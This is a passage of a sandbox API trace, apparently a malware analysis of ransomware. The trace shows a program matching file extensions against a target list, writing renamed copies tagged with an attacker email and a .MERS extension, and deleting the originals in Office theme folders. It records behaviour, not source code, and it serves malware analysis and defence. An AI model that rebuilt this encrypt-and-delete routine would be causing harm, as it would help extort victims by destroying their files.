Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0048.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.730] lstrlenW (lpString=".doc") returned 4 [0048.730] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.730] lstrlenW (lpString=".docx") returned 5 [0048.730] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.730] lstrlenW (lpString=".pdf") returned 4 [0048.730] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.730] lstrlenW (lpString=".xls") returned 4 [0048.730] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.730] lstrlenW (lpString=".xlsx") returned 5 [0048.730] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.730] lstrlenW (lpString=".ppt") returned 4 [0048.730] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.730] lstrlenW (lpString=".zip") returned 4 [0048.730] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.730] lstrlenW (lpString=".rar") returned 4 [0048.730] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.730] lstrlenW (lpString=".bz2") returned 4 [0048.730] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.730] lstrlenW (lpString=".7z") returned 3 [0048.730] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.730] lstrlenW (lpString=".dbf") returned 4 [0048.730] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.730] lstrlenW (lpString=".1cd") returned 4 [0048.730] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.731] lstrlenW (lpString=".jpg") returned 4 [0048.731] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.731] lstrlenW (lpString=".doc") returned 4 [0048.731] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.731] lstrlenW (lpString=".docx") returned 5 [0048.731] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.731] lstrlenW (lpString=".pdf") returned 4 [0048.731] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".xls") returned 4 [0048.731] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".xlsx") returned 5 [0048.731] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.731] lstrlenW (lpString=".ppt") returned 4 [0048.731] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.731] lstrlenW (lpString=".zip") returned 4 [0048.731] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".rar") returned 4 [0048.731] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".bz2") returned 4 [0048.731] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.731] lstrlenW (lpString=".7z") returned 3 [0048.731] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.731] lstrlenW (lpString=".dbf") returned 4 [0048.731] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.731] lstrlenW (lpString=".1cd") returned 4 [0048.732] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.732] lstrlenW (lpString=".jpg") returned 4 [0048.732] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.732] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.732] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.732] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2476) returned 1 [0048.732] CloseHandle (hObject=0x20c) returned 1 [0048.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0048.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.733] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.733] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.735] GetLastError () returned 0x0 [0048.735] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0048.736] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0048.737] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.737] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.738] SetEndOfFile (hFile=0x204) returned 1 [0048.738] CloseHandle (hObject=0x204) returned 1 [0048.738] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.738] SetEndOfFile (hFile=0x20c) returned 1 [0048.739] CloseHandle (hObject=0x20c) returned 1 [0048.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.739] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0048.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.741] lstrlenW (lpString=".doc") returned 4 [0048.741] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.741] lstrlenW (lpString=".docx") returned 5 [0048.741] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.741] lstrlenW (lpString=".pdf") returned 4 [0048.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.741] lstrlenW (lpString=".xls") returned 4 [0048.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString=".xlsx") returned 5 [0048.742] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.742] lstrlenW (lpString=".ppt") returned 4 [0048.742] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.742] lstrlenW (lpString=".zip") returned 4 [0048.742] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString=".rar") returned 4 [0048.742] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString=".bz2") returned 4 [0048.742] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString=".7z") returned 3 [0048.742] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.742] lstrlenW (lpString=".dbf") returned 4 [0048.742] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.742] lstrlenW (lpString=".1cd") returned 4 [0048.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.742] lstrlenW (lpString=".jpg") returned 4 [0048.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.742] lstrlenW (lpString=".doc") returned 4 [0048.742] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString=".docx") returned 5 [0048.742] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.742] lstrlenW (lpString=".pdf") returned 4 [0048.743] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".xls") returned 4 [0048.743] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".xlsx") returned 5 [0048.743] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.743] lstrlenW (lpString=".ppt") returned 4 [0048.743] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.743] lstrlenW (lpString=".zip") returned 4 [0048.743] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".rar") returned 4 [0048.743] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".bz2") returned 4 [0048.743] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.743] lstrlenW (lpString=".7z") returned 3 [0048.743] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.743] lstrlenW (lpString=".dbf") returned 4 [0048.743] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.743] lstrlenW (lpString=".1cd") returned 4 [0048.743] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.743] lstrlenW (lpString=".jpg") returned 4 [0048.743] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.743] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.743] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.744] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=19485) returned 1 [0048.744] CloseHandle (hObject=0x20c) returned 1 [0048.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0048.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.744] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.744] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.745] GetLastError () returned 0x0 [0048.745] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0048.746] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0048.747] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.747] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.747] SetEndOfFile (hFile=0x204) returned 1 [0048.747] CloseHandle (hObject=0x204) returned 1 [0048.747] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.748] SetEndOfFile (hFile=0x20c) returned 1 [0048.748] CloseHandle (hObject=0x20c) returned 1 [0048.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.749] lstrlenW (lpString=".doc") returned 4 [0048.749] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.749] lstrlenW (lpString=".docx") returned 5 [0048.749] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.749] lstrlenW (lpString=".pdf") returned 4 [0048.749] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.749] lstrlenW (lpString=".xls") returned 4 [0048.749] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.749] lstrlenW (lpString=".xlsx") returned 5 [0048.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.749] lstrlenW (lpString=".ppt") returned 4 [0048.749] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.749] lstrlenW (lpString=".zip") returned 4 [0048.749] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.749] lstrlenW (lpString=".rar") returned 4 [0048.749] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.749] lstrlenW (lpString=".bz2") returned 4 [0048.749] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.749] lstrlenW (lpString=".7z") returned 3 [0048.749] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.749] lstrlenW (lpString=".dbf") returned 4 [0048.749] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.749] lstrlenW (lpString=".1cd") returned 4 [0048.749] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.749] lstrlenW (lpString=".jpg") returned 4 [0048.749] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.750] lstrlenW (lpString=".doc") returned 4 [0048.750] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.750] lstrlenW (lpString=".docx") returned 5 [0048.750] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.750] lstrlenW (lpString=".pdf") returned 4 [0048.750] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.750] lstrlenW (lpString=".xls") returned 4 [0048.750] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.750] lstrlenW (lpString=".xlsx") returned 5 [0048.750] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.750] lstrlenW (lpString=".ppt") returned 4 [0048.750] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.750] lstrlenW (lpString=".zip") returned 4 [0048.750] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.750] lstrlenW (lpString=".rar") returned 4 [0048.750] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.750] lstrlenW (lpString=".bz2") returned 4 [0048.750] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.750] lstrlenW (lpString=".7z") returned 3 [0048.750] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.750] lstrlenW (lpString=".dbf") returned 4 [0048.750] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.750] lstrlenW (lpString=".1cd") returned 4 [0048.750] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.750] lstrlenW (lpString=".jpg") returned 4 [0048.750] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.751] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.751] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.751] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1232) returned 1 [0048.751] CloseHandle (hObject=0x20c) returned 1 [0048.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0048.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.751] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.751] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.753] GetLastError () returned 0x0 [0048.753] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0048.769] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0048.769] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.769] WriteFile (in: hFile=0x204, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.769] SetEndOfFile (hFile=0x204) returned 1 [0048.770] CloseHandle (hObject=0x204) returned 1 [0048.770] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.770] SetEndOfFile (hFile=0x20c) returned 1 [0048.770] CloseHandle (hObject=0x20c) returned 1 [0048.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft 